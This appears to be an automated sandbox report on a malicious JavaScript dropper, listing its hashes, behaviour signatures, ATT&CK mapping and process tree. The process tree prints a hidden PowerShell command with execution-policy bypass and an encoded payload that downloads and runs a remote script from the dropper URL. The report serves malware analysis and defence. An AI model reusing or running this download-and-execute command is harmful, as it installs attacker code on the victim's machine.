8b2a07f2c7959dfa4f95b80d28357fc8b36fb25715b06c5a2b770e9b7b1bf532

Analysis

max time kernel
261s
max time network
320s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
28/12/2023, 21:52

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General

Target

fab839dff3a6cd84eb5cc3e2402dbe4e.js
Size

112KB
MD5

fab839dff3a6cd84eb5cc3e2402dbe4e
SHA1

fddec087ccbb499446502746eede1620c5aa69c7
SHA256

8b2a07f2c7959dfa4f95b80d28357fc8b36fb25715b06c5a2b770e9b7b1bf532
SHA512

4fe392466c0d069c12773d862a40e614cf1052e09410f1d13f8375f8b3748c6f4d29a10a4ba1122654dbca1b5444302445ef16bc4e96d91c10ed65c1a5d8b360
SSDEEP

3072:59Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5eaXj:59Ry9RuXqW4SzUHmLKeMMU7GwWBPwVG0

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	672	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
672	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	672	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 2168	1832	wscript.exe	26
PID 1832 wrote to memory of 2168	1832	wscript.exe	26
PID 1832 wrote to memory of 2168	1832	wscript.exe	26
PID 2168 wrote to memory of 672	2168	cmd.exe	28
PID 2168 wrote to memory of 672	2168	cmd.exe	28
PID 2168 wrote to memory of 672	2168	cmd.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fab839dff3a6cd84eb5cc3e2402dbe4e.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/672-5-0x000000001B250000-0x000000001B532000-memory.dmp

Filesize
2.9MB

Download
memory/672-7-0x00000000022F0000-0x00000000022F8000-memory.dmp

Filesize
32KB

Download
memory/672-6-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download
memory/672-8-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/672-9-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/672-10-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/672-11-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download
memory/672-12-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/672-13-0x000007FEF6150000-0x000007FEF6AED000-memory.dmp

Filesize
9.6MB

Download